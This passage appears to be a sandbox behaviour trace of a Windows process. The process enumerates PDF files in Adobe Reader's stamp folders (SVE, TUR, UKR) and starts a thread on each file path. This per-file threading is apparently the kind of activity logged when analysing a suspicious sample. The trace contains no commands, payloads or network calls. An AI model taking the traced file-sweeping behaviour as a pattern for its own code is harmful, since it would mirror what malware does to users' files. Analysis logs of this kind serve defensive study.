lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0166.570] wcscmp (_String1="Dynamic.pdf", _String2=".") returned 1 [0166.570] wcscmp (_String1="Dynamic.pdf", _String2="..") returned 1 [0166.570] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb8) returned 0xd4c7040 [0166.570] wcscpy (in: _Dest=0xd4c7040, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE" [0166.570] wcscat (in: _Dest=0xd4c7040, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\" [0166.570] wcscat (in: _Dest=0xd4c7040, _Source="Dynamic.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\Dynamic.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\Dynamic.pdf" [0166.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c7040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1318 [0166.661] FindNextFileW (in: hFindFile=0x93ae38, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0166.661] wcscmp (_String1="SignHere.pdf", _String2=".") returned 1 [0166.661] wcscmp (_String1="SignHere.pdf", _String2="..") returned 1 [0166.661] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0xd4b9c60 [0166.661] wcscpy (in: _Dest=0xd4b9c60, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE" [0166.661] wcscat (in: _Dest=0xd4b9c60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\" [0166.661] wcscat (in: _Dest=0xd4b9c60, _Source="SignHere.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\SignHere.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\SignHere.pdf" [0166.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b9c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa54 [0166.662] FindNextFileW (in: hFindFile=0x93ae38, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18efb, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0166.662] wcscmp (_String1="StandardBusiness.pdf", _String2=".") returned 1 [0166.662] wcscmp (_String1="StandardBusiness.pdf", _String2="..") returned 1 [0166.662] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xca) returned 0x8dd678 [0166.662] wcscpy (in: _Dest=0x8dd678, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE" [0166.662] wcscat (in: _Dest=0x8dd678, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\" [0166.662] wcscat (in: _Dest=0x8dd678, _Source="StandardBusiness.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\StandardBusiness.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\StandardBusiness.pdf" [0166.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8dd678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1178 [0166.663] FindNextFileW (in: hFindFile=0x93ae38, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18efb, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0166.663] FindClose (in: hFindFile=0x93ae38 | out: hFindFile=0x93ae38) returned 1 [0166.664] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906438) returned 1 [0166.664] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x943060) returned 1 [0166.664] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x935ad0) returned 1 Thread: id = 5547 os_tid = 0x14a8 [0165.842] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x943110 [0165.842] wcscpy (in: _Dest=0x943110, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" [0165.842] wcscat (in: _Dest=0x943110, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\" [0165.842] wcscat (in: _Dest=0x943110, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*" [0165.842] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x904e90 [0165.842] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*", lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b6f8 [0167.052] wcscmp (_String1=".", _String2=".") returned 0 [0167.052] FindNextFileW (in: hFindFile=0x93b6f8, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.052] wcscmp (_String1="..", _String2=".") returned 1 [0167.052] wcscmp (_String1="..", _String2="..") returned 0 [0167.052] FindNextFileW (in: hFindFile=0x93b6f8, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0167.052] wcscmp (_String1="Dynamic.pdf", _String2=".") returned 1 [0167.052] wcscmp (_String1="Dynamic.pdf", _String2="..") returned 1 [0167.052] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb8) returned 0xd4c7880 [0167.052] wcscpy (in: _Dest=0xd4c7880, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" [0167.052] wcscat (in: _Dest=0xd4c7880, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\" [0167.052] wcscat (in: _Dest=0xd4c7880, _Source="Dynamic.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf" [0168.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c7880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xabc [0168.770] FindNextFileW (in: hFindFile=0x93b6f8, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0168.770] wcscmp (_String1="Faces.pdf", _String2=".") returned 1 [0168.770] wcscmp (_String1="Faces.pdf", _String2="..") returned 1 [0168.770] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb4) returned 0xd4c7640 [0168.770] wcscpy (in: _Dest=0xd4c7640, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" [0168.770] wcscat (in: _Dest=0xd4c7640, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\" [0168.770] wcscat (in: _Dest=0xd4c7640, _Source="Faces.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf" [0168.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c7640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd34 [0168.771] FindNextFileW (in: hFindFile=0x93b6f8, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0168.771] wcscmp (_String1="Pointers.pdf", _String2=".") returned 1 [0168.771] wcscmp (_String1="Pointers.pdf", _String2="..") returned 1 [0168.771] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0xd4baa70 [0168.771] wcscpy (in: _Dest=0xd4baa70, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" [0168.771] wcscat (in: _Dest=0xd4baa70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\" [0168.771] wcscat (in: _Dest=0xd4baa70, _Source="Pointers.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Pointers.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Pointers.pdf" [0168.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4baa70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704 [0168.772] FindNextFileW (in: hFindFile=0x93b6f8, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x992b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0168.772] wcscmp (_String1="SignHere.pdf", _String2=".") returned 1 [0168.772] wcscmp (_String1="SignHere.pdf", _String2="..") returned 1 [0168.773] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0xd4b9c60 [0168.773] wcscpy (in: _Dest=0xd4b9c60, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" [0168.773] wcscat (in: _Dest=0xd4b9c60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\" [0168.773] wcscat (in: _Dest=0xd4b9c60, _Source="SignHere.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\SignHere.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\SignHere.pdf" [0168.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b9c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138c [0168.774] FindNextFileW (in: hFindFile=0x93b6f8, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0168.774] wcscmp (_String1="Standard.pdf", _String2=".") returned 1 [0168.774] wcscmp (_String1="Standard.pdf", _String2="..") returned 1 [0168.774] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0xd4b9eb8 [0168.774] wcscpy (in: _Dest=0xd4b9eb8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" [0168.774] wcscat (in: _Dest=0xd4b9eb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\" [0168.774] wcscat (in: _Dest=0xd4b9eb8, _Source="Standard.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Standard.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Standard.pdf" [0168.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b9eb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa20 [0168.800] FindNextFileW (in: hFindFile=0x93b6f8, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1804a, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0168.800] wcscmp (_String1="StandardBusiness.pdf", _String2=".") returned 1 [0168.800] wcscmp (_String1="StandardBusiness.pdf", _String2="..") returned 1 [0168.800] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xca) returned 0x8dd168 [0168.800] wcscpy (in: _Dest=0x8dd168, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" [0168.800] wcscat (in: _Dest=0x8dd168, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\" [0168.800] wcscat (in: _Dest=0x8dd168, _Source="StandardBusiness.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\StandardBusiness.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\StandardBusiness.pdf" [0168.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8dd168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa40 [0168.801] FindNextFileW (in: hFindFile=0x93b6f8, lpFindFileData=0x904e90 | out: lpFindFileData=0x904e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1804a, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0168.801] FindClose (in: hFindFile=0x93b6f8 | out: hFindFile=0x93b6f8) returned 1 [0168.802] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904e90) returned 1 [0168.802] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x943110) returned 1 [0168.802] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934a68) returned 1 Thread: id = 5548 os_tid = 0x14ac [0165.842] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x9431c0 [0165.842] wcscpy (in: _Dest=0x9431c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" [0165.842] wcscat (in: _Dest=0x9431c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\" [0165.842] wcscat (in: _Dest=0x9431c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*" [0165.842] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906dd8 [0165.842] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*", lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93aff8 [0167.059] wcscmp (_String1=".", _String2=".") returned 0 [0167.059] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.059] wcscmp (_String1="..", _String2=".") returned 1 [0167.059] wcscmp (_String1="..", _String2="..") returned 0 [0167.059] FindNextFileW (in: hFindFile=0x93aff8, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0167.059] wcscmp (_String1="Dynamic.pdf", _String2=".") returned 1 [0167.059] wcscmp (_String1="Dynamic.pdf", _String2="..") returned 1 [0167.059] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb8) returned 0x8f90a8 [0167.060] wcscpy (in: _Dest=0x8f90a8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR" [0167.060] wcscat (in: _Dest=0x8f90a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\" [0167.060] wcscat (in: _Dest=0x8f90a8, _Source="Dynamic.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Dynamic.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 